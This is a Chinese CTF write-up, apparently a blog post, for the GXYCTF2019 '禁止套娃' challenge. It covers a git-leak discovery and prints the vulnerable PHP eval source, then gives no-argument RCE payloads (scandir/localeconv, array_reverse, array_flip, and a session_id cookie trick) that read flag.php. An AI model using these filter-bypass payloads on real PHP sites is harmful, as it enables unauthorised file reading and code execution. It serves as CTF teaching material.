• [GXYCTF2019]禁止套娃(无参RCE)


    [GXYCTF2019]禁止套娃

    1.扫描目录

    扫描之后发现git泄漏

    使用githack读取泄漏文件

    <?php
    include "flag.php";
    echo "flag在哪里呢?<br>";
    if(isset($_GET['exp'])){
        if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
            if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
                if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                    // echo $_GET['exp'];
                    @eval($_GET['exp']);
                }
                else{
                    die("还差一点哦!");
                }
            }
            else{
                die("再好好想想!");
            }
        }
        else{
            die("还想读flag,臭弟弟!");
        }
    }
    // highlight_file(__FILE__);
    ?>
    

    2.构造bypass

    if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    

    先看这部分正则

    (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。,引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))a(b(c()));类似这种可以括号和字符组成的,这其实是无参数RCE比较典型的例子,get也过滤了。

    我们要先看目录 使用scandir('.');但是不能出现一点,看看大佬wp

    localeconv()函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是一点

    current()返回数组中的当前单元, 默认取第一个值。这里我们就能够得到当前目录了

    说明
    current ( array &$array ) : mixed
    每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。
    
    参数
    array
    这个数组。
    
    返回值
    current() 函数返回当前被内部指针指向的数组单元的值,并不移动指针。如果内部指针指向超出了单元列表的末端,current() 返回 FALSE。
    
    Warning
    此函数可能返回布尔值 FALSE,但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。
    end() - 将数组的内部指针指向最后一个单元
    key() - 从关联数组中取得键名
    each() - 返回数组中当前的键/值对并将数组指针向前移动一步
    prev() - 将数组的内部指针倒回一位
    reset() - 将数组的内部指针指向第一个单元
    next() - 将数组中的内部指针向前移动一位
    
    <?php
    $transport = array('foot', 'bike', 'car', 'plane');
    $mode = current($transport); // $mode = 'foot';
    $mode = next($transport);    // $mode = 'bike';
    $mode = current($transport); // $mode = 'bike';
    $mode = prev($transport);    // $mode = 'foot';
    $mode = end($transport);     // $mode = 'plane';
    $mode = current($transport); // $mode = 'plane';
    
    $arr = array();
    var_dump(current($arr)); // bool(false)
    
    $arr = array(array());
    var_dump(current($arr)); // array(0) { }
    ?>
    
    /index.php?exp=print_r(scandir(current(localeconv())));
    

    得到

    flag在哪里呢?
    Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )
    

    目标读取flag.php

    经过测试

    这种是不行的

    /index.php?exp=highlight_file(next(next(next(scandir(current(localeconv()))))));
    
    <?php
    $a=array('a','b','c','d');
    var_dump(next(next($a)));
    ?>
    #结果Only variables should be passed by reference 返回NULL
    
    array_reverse ( array $array [, bool $preserve_keys = FALSE ] ) : array
    array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。
    array_flip() 交换数组的键和值
    array_rand() 从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回
    

    用这个函数构造

    ?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
    

    读取成功,或者

    ?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
    

    可以随机读取文件,多刷新几次即可

    当然也可以用show_source函数取代highlight_file

    pos()取代current();#别名

    3.其他解法(session_id()实现任意文件读取)

    session_id(PHP 4, PHP 5, PHP 7)
    
    session_id — 获取/设置当前会话 ID
    
    说明
    session_id ([ string $id ] ) : string
    session_id() 可以用来获取/设置 当前会话 ID。
    
    为了能够将会话 ID 很方便的附加到 URL 之后, 你可以使用常量 SID 获取以字符串格式表达的会话名称和 ID。 请参考 会话处理。
    
    参数 id
    如果指定了 id 参数的值, 则使用指定值作为会话 ID。 必须在调用 session_start() 函数之前调用 session_id() 函数。 不同的会话管理器对于会话 ID 中可以使用的字符有不同的限制。 例如文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 , (逗号)和 - (减号)
    
    Note: 如果使用 cookie 方式传送会话 ID,并且指定了 id 参数, 在调用 session_start() 之后都会向客户端发送新的 cookie, 无论当前的会话 ID 和新指定的会话 ID 是否相同。
    
    返回值
    session_id() 返回当前会话ID。 如果当前没有会话,则返回空字符串("")。
    
    session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件.
    因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
    session_id()可以获取到当前的session id。
    这样可以构造payload:?exp=readfile(session_id(session_start()));
    达到任意文件读取的效果:
    


    任意文件读取

    参考博客

    https://blog.csdn.net/qq_42812036/article/details/104406481

    https://www.freesion.com/article/1919383150/

    https://blog.csdn.net/weixin_44348894/article/details/105568428?fps=1&locationNum=2

  • 相关阅读:
    阿里云能耗宝助力华聚公司实现产品绿色升级
    最佳实践|从Producer 到 Consumer,如何有效监控 Kafka
    漫画 | 新一代软件架构会影响到谁?
    MongoDB :第七章:总结一下学习MongoDB的心得
    面试:第十二章:所有总结
    技术汇总:第十二章:技术总览
    接口文档:第二章:使用Swagger接口的文档在线自动生成
    为何你炒的肉又硬又柴?原来是忽略了关键1步,大厨教你正确做法
    IKEA bugs All In One
    Korean Keyboard All In One
  • 原文地址:https://www.cnblogs.com/LLeaves/p/12868440.html
Copyright © 2020-2023  润新知